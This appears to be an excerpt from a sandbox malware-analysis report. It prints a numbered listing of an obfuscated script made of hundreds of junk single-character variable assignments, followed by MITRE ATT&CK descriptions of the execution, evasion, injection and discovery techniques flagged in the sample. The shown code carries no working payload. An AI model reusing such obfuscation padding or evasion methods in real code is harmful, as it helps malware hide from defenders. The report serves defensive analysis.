444	gsbmaotj = "c";
445	gsbmaotj = "q";
446	gsbmaotj = "v";
447	gsbmaotj = "x";
448	gsbmaotj = "M";
449	gsbmaotj = "T";
450	qbjvcjl = "O";
451	qbjvcjl = "L";
452	qbjvcjl = "j";
453	ssxldjzhu = "E";
454	ssxldjzhu = "t";
455	ssxldjzhu = "g";
456	ssxldjzhu = "V";
457	ssxldjzhu = "Y";
458	ssxldjzhu = "k";
459	ssxldjzhu = "k";
460	ssxldjzhu = "Y";
461	ssxldjzhu = "s";
462	ssxldjzhu = "z";
463	ssxldjzhu = "Y";
464	ssxldjzhu = "x";
465	ssxldjzhu = "E";
466	ssxldjzhu = "B";
467	ssxldjzhu = "S";
468	ssxldjzhu = "a";
469	ssxldjzhu = "j";
470	ssxldjzhu = "F";
471	ssxldjzhu = "S";
472	ssxldjzhu = "u";
473	ssxldjzhu = "f";
474	ssxldjzhu = "q";
475	ssxldjzhu = "y";
476	ssxldjzhu = "p";
477	ssxldjzhu = "R";
478	ssxldjzhu = "w";
479	ssxldjzhu = "q";
480	ssxldjzhu = "B";
481	ssxldjzhu = "d";
482	ssxldjzhu = "P";
483	ssxldjzhu = "j";
484	ssxldjzhu = "s";
485	ssxldjzhu = "W";
486	ssxldjzhu = "e";
487	ssxldjzhu = "R";
488	ssxldjzhu = "w";
489	ssxldjzhu = "X";
490	ssxldjzhu = "v";
491	ssxldjzhu = "c";
492	ssxldjzhu = "r";
493	ssxldjzhu = "M";
494	ssxldjzhu = "S";
495	nudstkyo = "p";
496	nudstkyo = "s";
497	nudstkyo = "W";
498	nudstkyo = "N";
499	nudstkyo = "Z";
500	nudstkyo = "Y";
501	nudstkyo = "e";
502	nudstkyo = "m";
503	nudstkyo = "E";
504	nudstkyo = "P";
505	nudstkyo = "y";
506	nudstkyo = "Y";
507	nudstkyo = "V";
508	nudstkyo = "C";
509	nudstkyo = "e";
510	nudstkyo = "g";
511	nudstkyo = "I";
512	gztgjn = "R";
513	gztgjn = "e";
514	gztgjn = "o";
515	gztgjn = "B";
516	gztgjn = "H";
517	gztgjn = "N";
518	gztgjn = "i";
519	gztgjn = "q";
520	gztgjn = "B";
521	gztgjn = "G";
522	gztgjn = "K";
523	gztgjn = "o";
524	gztgjn = "X";
525	gztgjn = "E";
526	gztgjn = "W";
527	gztgjn = "e";
528	gztgjn = "H";
529	gztgjn = "L";
530	gztgjn = "i";
531	gztgjn = "G";
532	gztgjn = "i";
533	gztgjn = "w";
534	gztgjn = "V";
535	gztgjn = "k";
536	gztgjn = "x";
537	gztgjn = "v";
538	gztgjn = "\"";
539	twgvvrjy = "e";
540	twgvvrjy = "v";
541	twgvvrjy = "L";
542	twgvvrjy = "p";
543	twgvvrjy = "i";
544	twgvvrjy = "I";
545	twgvvrjy = "S";
546	twgvvrjy = "p";
547	twgvvrjy = "n";
548	twgvvrjy = "S";
549	twgvvrjy = "t";
550	twgvvrjy = "X";
551	twgvvrjy = "w";
552	twgvvrjy = "v";
553	twgvvrjy = "O";
554	twgvvrjy = "k";
555	twgvvrjy = "E";
556	twgvvrjy = "e";
557	twgvvrjy = "N";
558	twgvvrjy = "Z";
559	twgvvrjy = "u";
560	twgvvrjy = "r";
561	twgvvrjy = "G";
562	twgvvrjy = "O";
563	twgvvrjy = "q";
564	twgvvrjy = "w";
565	twgvvrjy = "u";
566	twgvvrjy = "S";
567	twgvvrjy = "X";
568	twgvvrjy = "z";
569	twgvvrjy = "M";
570	twgvvrjy = "d";
571	twgvvrjy = "i";
572	twgvvrjy = "S";
573	twgvvrjy = "C";
574	twgvvrjy = "f";
575	twgvvrjy = "k";
576	twgvvrjy = "J";
577	twgvvrjy = "j";
578	twgvvrjy = "r";
579	twgvvrjy = "N";
580	twgvvrjy = "v";
581	fpbsj = "X";
582	fpbsj = "d";
583	fpbsj = "S";
584	fpbsj = "A";
585	fpbsj = "c";
586	fpbsj = "B";
587	fpbsj = "g";
588	fpbsj = "Z";
589	fpbsj = "S";
590	fpbsj = "y";
591	fpbsj = "i";
592	fpbsj = "h";
593	fpbsj = "n";
594	fpbsj = "c";
595	fpbsj = "j";
596	fpbsj = "R";
597	fpbsj = "o";
598	fpbsj = "U";
599	fpbsj = "R";
600	fpbsj = "C";
601	fpbsj = "O";
602	fpbsj = "s";
603	fpbsj = "D";
604	fpbsj = "S";
605	fpbsj = "X";
606	fpbsj = "z";
607	fpbsj = "b";
608	fpbsj = "b";
609	fpbsj = "L";
610	fpbsj = "V";
611	fpbsj = "v";
612	fpbsj = "a";
613	fpbsj = "T";
614	fpbsj = "V";
615	fpbsj = "f";
616	fpbsj = "B";
617	fpbsj = "z";
618	fpbsj = "b";
619	fpbsj = "/";
620	qmato = "v";
621	qmato = "Z";
622	qmato = "J";
623	qmato = "L";
624	qmato = "F";
625	qmato = "v";
626	qmato = "V";
627	qmato = "v";
628	qmato = "S";
629	qmato = "U";
630	qmato = "e";
631	qmato = "c";
632	qmato = "K";
633	qmato = "f";
634	lxqzdpnx = "f";
635	lxqzdpnx = "x";
636	lxqzdpnx = "B";
637	lxqzdpnx = "A";
638	lxqzdpnx = "X";
639	lxqzdpnx = "O";
640	lxqzdpnx = "i";
641	lxqzdpnx = "U";
642	lxqzdpnx = "b";
643	lxqzdpnx = "P";
644	lxqzdpnx = "E";
645	lxqzdpnx = "T";
646	lxqzdpnx = "m";
647	lxqzdpnx = "e";
648	lxqzdpnx = "c";
649	lxqzdpnx = "c";
650	lxqzdpnx = "b";
651	lxqzdpnx = "q";
652	lxqzdpnx = "D";
653	lxqzdpnx = "Z";
654	lxqzdpnx = "N";
655	lxqzdpnx = "a";
656	lxqzdpnx = "d";
657	lxqzdpnx = "C";
658	lxqzdpnx = "u";
659	lxqzdpnx = "x";
660	gjwof = "w";
661	gjwof = "R";
662	gjwof = "Z";
663	gjwof = "g";
664	gjwof = "U";
665	gjwof = "K";
666	gjwof = "a";
667	gjwof = "W";
668	gjwof = "E";
669	gjwof = "r";
670	gjwof = "I";
671	gjwof = "D";
672	gjwof = "O";
673	gjwof = "a";
674	gjwof = "c";
675	gjwof = "Z";
676	gjwof = "m";
677	gjwof = "q";
678	gjwof = "l";
679	gjwof = "B";
680	gjwof = "O";
681	gjwof = "K";
682	gjwof = "l";
683	gjwof = "f";
684	gjwof = "e";
685	gjwof = "m";
686	gjwof = "i";
687	gjwof = "d";
688	iavle = "u";
689	iavle = "w";
690	iavle = "G";
691	iavle = "A";
692	iavle = "O";
693	iavle = "G";
694	iavle = "M";
695	iavle = "X";
696	iavle = "L";
697	iavle = "X";
698	iavle = "S";
699	iavle = "d";
700	iavle = "p";
701	iavle = "c";
702	iavle = "M";
703	iavle = "C";
704	iavle = "X";
705	iavle = "P";
706	iavle = "0";
707	bdwybuj = "u";
708	bdwybuj = "M";
709	bdwybuj = "n";
710	bdwybuj = "V";
711	bdwybuj = "Y";
712	bdwybuj = "A";
713	bdwybuj = "G";
714	bdwybuj = "f";
715	bdwybuj = "c";
716	bdwybuj = "t";
717	bdwybuj = "q";
718	bdwybuj = "h";
719	bdwybuj = "b";
720	bdwybuj = "C";
721	bdwybuj = "u";
722	bdwybuj = "i";
723	bdwybuj = "h";
724	bdwybuj = "v";
725	bdwybuj = "B";
726	bdwybuj = "M";
727	bdwybuj = "E";
728	bdwybuj = "Z";
729	bdwybuj = "T";
730	bdwybuj = "d";
731	bdwybuj = "g";
732	bdwybuj = "X";
733	bdwybuj = "8";
734	owlhakhe = "m";
735	owlhakhe = "V";
736	owlhakhe = "v";
737	owlhakhe = "Z";
738	owlhakhe = "w";
739	owlhakhe = "c";
740	owlhakhe = "D";
741	owlhakhe = "Z";
742	owlhakhe = "o";
743	owlhakhe = "B";
744	owlhakhe = "H";
745	owlhakhe = "Z";
746	owlhakhe = "M";
747	owlhakhe = "Z";
748	owlhakhe = "o";
749	owlhakhe = "h";
750	owlhakhe = "r";
751	owlhakhe = "L";
752	owlhakhe = "G";
753	owlhakhe = "j";
754	owlhakhe = "H";
755	owlhakhe = "L";
756	owlhakhe = "p";
757	owlhakhe = "d";
758	owlhakhe = "i";
759	owlhakhe = "I";
760	owlhakhe = "z";
761	owlhakhe = "T";
762	owlhakhe = "n";
763	owlhakhe = "o";
764	owlhakhe = "q";
765	lkfkl = "J";
766	lkfkl = "e";
767	lkfkl = "E";
768	lkfkl = "O";
769	lkfkl = "M";
770	lkfkl = "i";
771	lkfkl = "d";
772	lkfkl = "b";
773	lkfkl = "Y";
774	lkfkl = "i";
775	lkfkl = "R";
776	lkfkl = "j";
777	lkfkl = "f";
778	lkfkl = "j";
779	lkfkl = "v";
780	lkfkl = "d";
781	lkfkl = "H";
782	lkfkl = "x";
783	lkfkl = "B";
784	lkfkl = "F";
785	lkfkl = "V";
786	lkfkl = "j";
787	lkfkl = "U";
788	lkfkl = "d";
789	lkfkl = "k";
790	lkfkl = "O";
791	lkfkl = "y";
792	lkfkl = "o";
793	lkfkl = "Q";
794	lkfkl = "O";
795	lkfkl = "D";
796	lkfkl = "A";
797	lkfkl = "D";
798	lkfkl = "m";
799	lkfkl = "F";
800	lkfkl = "F";
801	lkfkl = "A";
802	lkfkl = "t";
803	lkfkl = "r";
804	lkfkl = "j";
805	lkfkl = "X";
806	lkfkl = "H";
807	lkfkl = "7";
808	oqcujl = "d";
809	oqcujl = "t";
810	oqcujl = "h";
811	oqcujl = "S";
812	oqcujl = "J";
813	oqcujl = "A";
814	oqcujl = "Y";
815	oqcujl = "o";
816	oqcujl = "G";
817	oqcujl = "R";
818	oqcujl = "y";
819	oqcujl = "L";
820	oqcujl = "z";
821	oqcujl = "O";
822	oqcujl = "x";
823	oqcujl = "N";
824	mhsjo = "V";
825	mhsjo = "x";
826	mhsjo = "R";
827	mhsjo = "x";
828	mhsjo = "F";
829	mhsjo = "Q";
830	mhsjo = "T";
831	mhsjo = "L";
832	mhsjo = "G";
833	mhsjo = "Q";
834	mhsjo = "Z";
835	mhsjo = "r";
836	mhsjo = "d";
837	mhsjo = "v";
838	mhsjo = "J";
839	mhsjo = "Y";
840	mhsjo = "Y";
841	mhsjo = "O";
842	mhsjo = "o";
843	uhdsuvopr = "o";
844	uhdsuvopr = "K";
845	uhdsuvopr = "F";
846	uhdsuvopr = "p";
847	uhdsuvopr = "%";
848	hbjqxj = "N";
849	hbjqxj = "c";
850	hbjqxj = "W";
851	hbjqxj = "Z";
852	hbjqxj = "Z";
853	hbjqxj = "K";
854	hbjqxj = "N";
855	hbjqxj = "v";
856	hbjqxj = "y";
857	hbjqxj = "Z";
858	hbjqxj = "Z";
859	hbjqxj = "E";
860	hbjqxj = "Z";
861	hbjqxj = "S";
862	hbjqxj = "i";
863	hbjqxj = "Q";
864	hbjqxj = "L";
865	hbjqxj = "n";
866	hbjqxj = "\\";
867	vepqb = "k";
868	vepqb = "e";
869	vepqb = "m";
870	vepqb = "u";
871	vepqb = "w";
872	vepqb = "X";
873	vepqb = "b";
874	vepqb = "I";
875	vepqb = "q";
876	vepqb = "x";
877	vepqb = "M";
878	vepqb = "j";
879	vepqb = "r";
880	tchtiiru = "x";
881	tchtiiru = "r";
882	tchtiiru = "U";
883	tchtiiru = "u";
884	tchtiiru = "Y";
885	tchtiiru = "D";
886	tchtiiru = "m";
887	tchtiiru = "C";
888	tchtiiru = "L";
889	tchtiiru = "Z";
890	tchtiiru = "K";
891	tchtiiru = "s";
892	tchtiiru = "z";
893	tchtiiru = "e";
894	tchtiiru = "z";
895	tchtiiru = "o";
896	tchtiiru = "u";
897	tchtiiru = "i";
898	tchtiiru = "_";
899	yblfezj = "J";
900	yblfezj = "y";
901	yblfezj = "I";
902	yblfezj = "l";
903	yblfezj = "b";
904	yblfezj = "u";
905	yblfezj = "j";
906	yblfezj = "U";
907	yblfezj = "u";
908	yblfezj = "P";
909	yblfezj = "U";
910	yblfezj = "M";
911	yblfezj = "p";
912	yblfezj = "c";
913	yblfezj = "Y";
914	yblfezj = "q";
915	yblfezj = "k";
916	yblfezj = "L";
917	yblfezj = "C";
918	yblfezj = "L";
919	yblfezj = "I";
920	yblfezj = "w";
921	yblfezj = "b";
922	yblfezj = "E";
923	yblfezj = "y";
924	yblfezj = "m";
925	kwxsuhsyd = "W";
926	kwxsuhsyd = "d";
927	kwxsuhsyd = "r";
928	kwxsuhsyd = "S";
929	kwxsuhsyd = "T";
930	kwxsuhsyd = "U";
931	kwxsuhsyd = "K";
932	kwxsuhsyd = "v";
933	kwxsuhsyd = "B";
934	kwxsuhsyd = "B";
935	kwxsuhsyd = "9";
936	mvbwwtyhi = "s";
937	mvbwwtyhi = "z";
938	mvbwwtyhi = "x";
939	mvbwwtyhi = "n";
940	mvbwwtyhi = "X";
941	mvbwwtyhi = "w";
942	mvbwwtyhi = "v";
943	mvbwwtyhi = "k";
944	qdvxeip = "m";
945	qdvxeip = "X";
946	qdvxeip = "q";
947	qdvxeip = "O";
948	qdvxeip = "H";
949	qdvxeip = "m";
950	qdvxeip = "G";
951	qdvxeip = "N";
952	qdvxeip = "R";
953	qdvxeip = "O";
954	qdvxeip = "F";
955	qdvxeip = "h";
956	qdvxeip = "G";
957	qdvxeip = "e";
958	qdvxeip = "m";
959	qdvxeip = "J";
960	qdvxeip = "V";
961	qdvxeip = "w";
962	qdvxeip = "O";
963	qdvxeip = "e";
964	qdvxeip = "L";
965	qdvxeip = "M";
966	qdvxeip = "x";
967	qdvxeip = "M";
968	qdvxeip = "p";
969	qdvxeip = "I";
970	qdvxeip = "a";
971	qdvxeip = "w";
972	qdvxeip = "c";
973	qdvxeip = "M";
974	qdvxeip = "C";
975	qdvxeip = "d";
976	qdvxeip = "C";
977	qdvxeip = "R";
978	qdvxeip = "z";
979	qdvxeip = "L";
980	qdvxeip = "h";
981	qdvxeip = "f";
982	qdvxeip = "Q";
983	qdvxeip = "k";
984	qdvxeip = "d";
985	qdvxeip = "U";
986	qdvxeip = "O";
987	cbcpndpif = "i";
988	cbcpndpif = "U";
989	cbcpndpif = "B";
990	cbcpndpif = "P";
991	cbcpndpif = "j";
992	cbcpndpif = "t";
993	cbcpndpif = "j";
994	cbcpndpif = "b";
995	cbcpndpif = "m";
996	cbcpndpif = "c";
997	cbcpndpif = "T";
998	cbcpndpif = "Z";
999	cbcpndpif = "i";
1000	mqslhla = "y";
1001	mqslhla = "U";
1002	mqslhla = "g";
1003	mqslhla = "X";
1004	mqslhla = "r";
1005	mqslhla = "@";
1006	emizcq = "r";
1007	emizcq = "e";
1008	emizcq = "q";
1009	emizcq = "s";
1010	emizcq = "f";
1011	emizcq = "E";
1012	emizcq = "y";
1013	emizcq = "z";
1014	emizcq = "e";
1015	zahly = "s";
1016	zahly = "M";
1017	zahly = "z";
1018	zahly = "g";
1019	zahly = "G";
1020	zahly = "E";
1021	zahly = "T";
1022	zahly = "E";
1023	zahly = "O";
1024	zahly = "k";
1025	zahly = "e";
1026	zahly = "G";
1027	zahly = "4";
1028	zxkol = "q";
1029	zxkol = "I";
1030	zxkol = "f";
1031	zxkol = "M";
1032	zxkol = "W";
1033	zxkol = "o";
1034	zxkol = "S";
1035	zxkol = "Z";
1036	zxkol = "e";
1037	zxkol = "r";
1038	zxkol = "R";
1039	zxkol = "f";
1040	zxkol = "H";
1041	zxkol = "S";
1042	zxkol = "N";
1043	zxkol = "e";
1044	zxkol = "B";
1045	zxkol = "z";
1046	zxkol = "G";
1047	zxkol = "p";
1048	zxkol = "K";
1049	zxkol = "N";
1050	zxkol = "I";
1051	zxkol = "Y";
1052	zxkol = "F";
1053	zxkol = "q";
1054	zxkol = "y";
1055	zxkol = "g";
1056	zxkol = "h";
1057	zxkol = "x";
1058	zxkol = "s";
1059	zxkol = "p";
1060	zxkol = "X";
1061	zxkol = "h";
1062	zxkol = "s";
1063	zxkol = "n";
1064	zxkol = "b";
1065	geikn = "H";
1066	geikn = "s";
1067	geikn = "V";
1068	geikn = "W";
1069	geikn = "e";
1070	geikn = "c";
1071	geikn = "f";
1072	geikn = "W";
1073	geikn = "d";
1074	geikn = "t";
1075	geikn = "l";
1076	geikn = "U";
1077	geikn = "T";
1078	geikn = "m";
1079	geikn = "U";
1080	geikn = "B";
1081	geikn = "y";
1082	geikn = "P";
1083	geikn = "t";
1084	geikn = "Y";
1085	geikn = "m";
1086	geikn = "D";
1087	geikn = "P";
1088	geikn = "r";
1089	geikn = "N";
1090	geikn = "V";
1091	geikn = "N";
1092	geikn = "P";
1093	geikn = "O";
1094	geikn = "2";
1095	bmoasff = "W";
1096	bmoasff = "m";
1097	bmoasff = "c";
1098	bmoasff = "o";
1099	bmoasff = "K";
1100	bmoasff = "y";
1101	bmoasff = "W";
1102	bmoasff = "T";
1103	bmoasff = "C";
1104	bmoasff = "N";
1105	bmoasff = "C";
1106	bmoasff = "z";
1107	bmoasff = "D";
1108	bmoasff = "I";
1109	bmoasff = "v";
1110	bmoasff = "i";
1111	bmoasff = "m";
1112	bmoasff = "g";
1113	bmoasff = "j";
1114	bmoasff = "e";
1115	bmoasff = "Z";
1116	bmoasff = "u";
1117	bmoasff = "E";
1118	bmoasff = "z";
1119	bmoasff = "R";
1120	bmoasff = "p";
1121	bmoasff = "O";
1122	bmoasff = "e";
1123	bmoasff = "D";
1124	bmoasff = "n";
1125	bmoasff = "t";
1126	bmoasff = "A";
1127	bmoasff = "j";
1128	bmoasff = "H";
1129	bmoasff = "p";
1130	bmoasff = "J";
1131	bmoasff = "O";
1132	bmoasff = "E";
1133	bmoasff = "5";
1134	htadw = "v";
1135	htadw = "p";
1136	htadw = "C";
1137	htadw = "J";
1138	htadw = "g";
1139	htadw = "q";
1140	htadw = "D";
1141	htadw = "W";
1142	htadw = "Q";
1143	htadw = "H";
1144	htadw = "D";
1145	htadw = "a";
1146	htadw = "W";
1147	htadw = "t";
1148	htadw = "o";
1149	htadw = "p";
1150	htadw = "T";
1151	htadw = "y";
1152	htadw = "g";
1153	htadw = "B";
1154	htadw = "a";
1155	htadw = "z";
1156	htadw = "U";
1157	htadw = "S";
1158	htadw = "Q";
1159	htadw = "U";
1160	htadw = "r";
1161	htadw = "J";
1162	htadw = "K";
1163	ajzmohxz = "B";
1164	ajzmohxz = "J";
1165	ajzmohxz = "Z";
1166	ajzmohxz = "u";
1167	ajzmohxz = "H";
1168	ajzmohxz = "v";
1169	ajzmohxz = "e";
1170	ajzmohxz = "E";
1171	ajzmohxz = "K";
1172	ajzmohxz = "B";
1173	ajzmohxz = "R";
1174	ajzmohxz = "r";
1175	ajzmohxz = "Q";
1176	ajzmohxz = "g";
1177	ajzmohxz = "Z";
1178	ajzmohxz = "J";
1179	ajzmohxz = "a";
1180	ajzmohxz = "i";
1181	ajzmohxz = "a";
1182	ajzmohxz = "q";
1183	ajzmohxz = "u";
1184	jksdivm = "r";
1185	jksdivm = "M";
1186	jksdivm = "K";
1187	jksdivm = "r";
1188	jksdivm = "K";
1189	jksdivm = "T";
1190	jksdivm = "X";
1191	jksdivm = "c";
1192	vitnafm = "o";
1193	vitnafm = "A";
1194	vitnafm = "v";
1195	vitnafm = "W";
1196	vitnafm = "i";
1197	vitnafm = "w";
1198	vitnafm = "r";
1199	vitnafm = "G";
1200	vitnafm = "D";
1201	vitnafm = "a";
1202	vitnafm = "h";
1203	vitnafm = "S";
1204	vitnafm = "K";
1205	vitnafm = "G";
1206	vitnafm = "z";
1207	vitnafm = "m";
1208	vitnafm = "I";
1209	vitnafm = "r";
1210	vitnafm = "t";
1211	vitnafm = "k";
1212	vitnafm = "g";
1213	vitnafm = "b";
1214	vitnafm = "n";
1215	vitnafm = "o";
1216	vitnafm = "o";
1217	vitnafm = "o";
1218	vitnafm = "m";
1219	vitnafm = "q";
1220	vitnafm = "q";
1221	vitnafm = "A";
1222	vitnafm = "i";
1223	vitnafm = "u";
1224	vitnafm = "W";
1225	wkvvmtgce = "u";
1226	wkvvmtgce = "o";
1227	wkvvmtgce = "F";
1228	wkvvmtgce = "s";
1229	wkvvmtgce = "v";
1230	wkvvmtgce = "m";
1231	wkvvmtgce = "c";
1232	wkvvmtgce = "R";
1233	wkvvmtgce = "o";
1234	wkvvmtgce = "E";
1235	wkvvmtgce = "I";
1236	wkvvmtgce = "M";
1237	wkvvmtgce = "I";
1238	wkvvmtgce = "w";
1239	wkvvmtgce = "z";
1240	wkvvmtgce = "y";
1241	wkvvmtgce = "W";
1242	wkvvmtgce = "Q";
1243	wkvvmtgce = "b";
1244	wkvvmtgce = "q";
1245	wkvvmtgce = "K";
1246	wkvvmtgce = "P";
1247	wkvvmtgce = "U";
1248	wkvvmtgce = "u";
1249	wkvvmtgce = "U";
1250	wkvvmtgce = "B";
1251	wkvvmtgce = "E";
1252	wkvvmtgce = "b";
1253	wkvvmtgce = "m";
1254	wkvvmtgce = "Q";
1255	wkvvmtgce = "r";
1256	wkvvmtgce = "v";
1257	wkvvmtgce = "g";
1258	wkvvmtgce = "s";
1259	wkvvmtgce = "f";
1260	wkvvmtgce = "f";
1261	wkvvmtgce = "B";
1262	wkvvmtgce = "J";
1263	wkvvmtgce = "D";
1264	wkvvmtgce = "f";
1265	wkvvmtgce = "L";
1266	wkvvmtgce = "F";
1267	wwhww = "r";
1268	wwhww = "k";
1269	wwhww = "M";
1270	wwhww = "q";
1271	wwhww = "B";
1272	wwhww = "D";
1273	wwhww = "X";
1274	wwhww = "O";
1275	wwhww = "I";
1276	wwhww = "L";
1277	wwhww = "y";
1278	wwhww = "v";
1279	wwhww = "F";
1280	wwhww = "h";
1281	wwhww = "b";
1282	wwhww = "Y";
1283	wwhww = "q";
1284	wwhww = "L";
1285	wwhww = "q";
1286	wwhww = "y";
1287	wwhww = "V";
1288	wwhww = "t";
1289	wwhww = "B";
1290	wwhww = "V";
1291	wwhww = "M";
1292	wwhww = "X";
1293	wwhww = "K";
1294	wwhww = "y";
1295	wwhww = "G";
1296	wwhww = "s";
1297	wwhww = "C";
1298	wwhww = "J";
1299	wwhww = "K";
1300	wwhww = "b";
1301	wwhww = "d";
1302	wwhww = "I";
1303	wwhww = "J";
1304	wwhww = "X";
1305	wwhww = "h";
1306	wwhww = "I";
1307	wwhww = "h";
1308	wwhww = "&";
1309	rreifhnez = "J";
1310	rreifhnez = "l";
1311	rreifhnez = "L";
1312	rreifhnez = " ";
1313	hodktqxs = "f";
1314	hodktqxs = "D";
1315	hodktqxs = "F";
1316	hodktqxs = "O";
1317	hodktqxs = "E";
1318	hodktqxs = "Q";
1319	hodktqxs = "w";
1320	hodktqxs = "k";
1321	hodktqxs = "d";
1322	hodktqxs = "W";
1323	hodktqxs = "M";
1324	hodktqxs = "j";
1325	hodktqxs = "J";
1326	hodktqxs = "k";
1327	hodktqxs = "h";
1328	hodktqxs = "b";
1329	hodktqxs = "s";
1330	hodktqxs = "Q";
1331	hodktqxs = "y";
1332	hodktqxs = "x";
1333	hodktqxs = "E";
1334	hodktqxs = "K";
1335	hodktqxs = "l";
1336	hodktqxs = "f";
1337	hodktqxs = "p";
1338	hodktqxs = "Z";
1339	hodktqxs = "Y";
1340	hodktqxs = "u";
1341	hodktqxs = "y";
1342	hodktqxs = "z";
1343	hodktqxs = "X";
1344	hodktqxs = "v";
1345	hodktqxs = "v";
1346	hodktqxs = "q";
1347	hodktqxs = "A";
1348	hodktqxs = "a";
1349	hodktqxs = "p";
1350	hodktqxs = "J";
1351	hodktqxs = "k";
1352	hodktqxs = "A";
1353	hodktqxs = "w";
1354	hodktqxs = "h";
1355	xaorea = "q";
1356	xaorea = "H";
1357	yauhcmgd ( );	yauhcmgd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

